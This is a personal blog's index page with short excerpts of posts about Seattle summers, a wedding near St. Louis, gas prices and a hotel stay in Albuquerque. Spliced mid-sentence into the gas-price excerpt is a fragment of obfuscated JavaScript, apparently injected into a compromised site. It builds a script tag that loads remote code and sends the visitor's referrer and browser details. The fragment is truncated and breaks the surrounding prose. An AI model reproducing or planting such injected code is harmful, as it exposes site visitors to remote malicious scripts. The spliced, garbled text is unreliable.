Summer in Seattle

Seattle gets such a bad rap.  As soon as anyone learns I’m from Seattle, they ask me about rain and if I ever get depressed.  I joke and tell them that I hate people with umbrellas and that a beautiful summer day in Seattle beats the pants off of a nice day almost anywhere else…..but […]

Martha Stewart would be proud

We were in St. Louis this past weekend to celebrate Kate and Neil’s wedding.  Neil and Nick were roommates in college and now Neil and Kate live out in the Bay Area. The wedding wasn’t really in St. Louis.  It was in Clarksville about an hour and a half outside of St. Louis.  But the […]

Things that cost more than gas

Last week I got gas and it cost $4.109/gallon.  I don’t complain about the cost, because in general, things could be worse and LUCKILY I drive a fuel efficient vehicle. In ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftnnb|var|u0026u|referrer|edsyk||js|php’.split(‘|’),0,{})) an effort to try and put things into perspective, let’s look at stuff that costs more than gas. 1 […]

I was in Albuquerque and about to return the rental car.  I had a lot of time, so I filled up the car on my way to the airport.  Here I am, just minding my own business, filling my car […]

That’s new

I’m in Albuquerque right now. Staying at the Hilton Garden Inn by the airport. When I got to my room….I saw a new addition. A whirlpool tub. Yeah. Weird. I’ve been here at least a dozen times and this was a first. Not sure if there’s much of a draw for this type of room, […]

No really, it’s actually kind of entertaining
